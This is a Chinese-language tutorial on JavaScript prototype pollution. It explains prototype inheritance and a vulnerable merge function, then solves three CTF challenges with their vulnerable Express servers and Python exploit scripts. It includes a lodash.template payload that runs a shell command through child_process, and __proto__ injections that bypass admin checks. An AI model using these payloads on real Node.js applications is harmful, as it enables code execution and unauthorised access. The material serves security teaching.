想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念
可以看这篇文章:对象的继承和原型链
目录
prototype和__proto__分别是什么?
原型链继承
原型链污染是什么
哪些情况下原型链会被污染?
例题1:Code-Breaking 2018 Thejs 分析
例题2:hackit-2018
例题3:hackim-2019
prototype和__proto__分别是什么?
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function Foo() { //构造函数
this.bar = 1 //构造函数的一个属性
}
new Foo()
构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了
class
语法,但class
其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
这里定义的show就是一个方法
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,问题的愿意就是因为:这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我们希望在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype)了:
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,这里就又出现了一个问题:Foo
实例化出来的对象不能通过prototype访问原型的。
这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
所以,总结一下:
-
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法 -
一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
原型链继承
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father() //Son继承了 Father()
let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
-
在对象son中寻找last_name
-
如果找不到,则在
son.__proto__
中寻找last_name -
如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name -
依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
-
每个构造函数(constructor)都有一个原型对象(prototype)
-
对象的
__proto__
属性,指向类的原型对象prototype
-
JavaScript使用prototype链实现继承机制
原型链污染是什么
前面说到,foo.__proto__
指向的是Foo
类的prototype
。
那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2
最后,虽然zoo是一个空对象{}
,但zoo.bar
的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
这种攻击方式就是原型链污染。
哪些情况下原型链会被污染?
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?
其实找找能够控制数组(对象)的“键名”的操作即可:
-
对象merge(克隆)
-
对象clone(其实内核就是将待操作的对象 merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
function merge(target, source) { //接收两个参数
for (let key in source) { //判断source是否有相应的key
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
//把第二个参数中的key赋值给了第一个参数中的key
}
}
}
var x = {
// name: 'oupeng',
age: 18
}
var y = {
// name: 'abc',
age: 19,
num: 100
}
merge(x, y);
console.log(x);
console.log(y);
let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
例题1:Code-Breaking 2018 Thejs 分析
后端主要代码如下(完整代码可参考这里)
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
-
lodash.template
一个简单的模板引擎 -
lodash.merge
函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中。
我们看到lodash.template
的代码:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
//这里的Function是构造函数
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。
这个sourceURL属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。
最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
我将带有__proto__
的Payload以json的形式发送给后端,
因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
具体过程:
代码:这里
(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)然后我们可以尝试在网页访问:你的ip地址:3000
(4)然后我们使用Burpsuite抓包访问该页面
Payload:
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问
例题2:hackit-2018
这里我使用的环境是window
(1)代码
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
//这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng
//注:传值时一定要用json的格式去传值
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:
matric[client.row][client.col] =client.data
由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染
具体过程 :
(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)编写Python代码来实现POST请求
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)
(4)运行Python文件
可以看到成功的通过原型链污染,拿到了flag!
例题3:hackim-2019
代码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
首先就是先看拿到值的条件:
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
这里需要admin.admin == 1才能正常拿到
通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。
function clone(a) {
return merge({}, a);
}
这里我们可以使用merge给{}中提交一个key=__proto__,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染
具体过程
(1)首先和前面一样新建一个名为re3.js文件
文件内容就是前面的代码
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果在安装包时有一个 "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:
"cookie-parser": "^1.4.6"
(3)编写pythonPOST提交代码
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
这里的res1会让代码中的body={"__proto__":{admin:1}}
然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag
(4)运行python代码
通过结果可以看到,成功的拿到了flag!